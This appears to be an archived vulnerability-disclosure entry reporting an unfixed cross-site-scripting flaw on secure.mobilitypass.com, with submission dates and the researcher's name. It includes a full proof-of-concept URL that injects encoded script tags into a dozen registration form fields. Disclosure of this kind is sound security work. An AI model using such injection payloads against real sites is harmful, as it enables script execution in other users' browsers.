Security researcher Jelmer de Hen, has submitted on 28/08/2009 a cross-site-scripting (XSS) vulnerability affecting secure.mobilitypass.com, which at the time of submission ranked 729724 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 24/05/2010. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 28/08/2009 |
Date published: 24/05/2010 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: Jelmer de Hen |
Domain: secure.mobilitypass.com |
Category: XSS |
Pagerank: 729724 |
|---|
URL: https://secure.mobilitypass.com/iberpass.registration?login=%22%3Cscript%3Ealert%281%29%3C/script%3E
&pass=%22%3Cscript%3Ealert%282%29%3C/script%3E&voucher=%22%3Cscript%3Ealert%283%29%3C/script%3E&fnam
e=%22%3Cscript%3Ealert%284%29%3C/script%3E&lname=%22%3Cscript%3Ealert%285%29%3C/script%3E&email=%22%
3Cscript%3Ealert%286%29%3C/script%3E&email2=%22%3Cscript%3Ealert%287%29%3C/script%3E&address=%22%3Cs
cript%3Ealert%288%29%3C/script%3E&city=%22%3Cscript%3Ealert%289%29%3C/script%3E&state=%22%3Cscript%3
Ealert%2810%29%3C/script%3E&zip=%22%3Cscript%3Ealert%2811%29%3C/script%3E&mphone=%22%3Cscript%3Ealer
t%2812%29%3C/script%3E |
|
Click here to view the mirror
|
|
|
| 
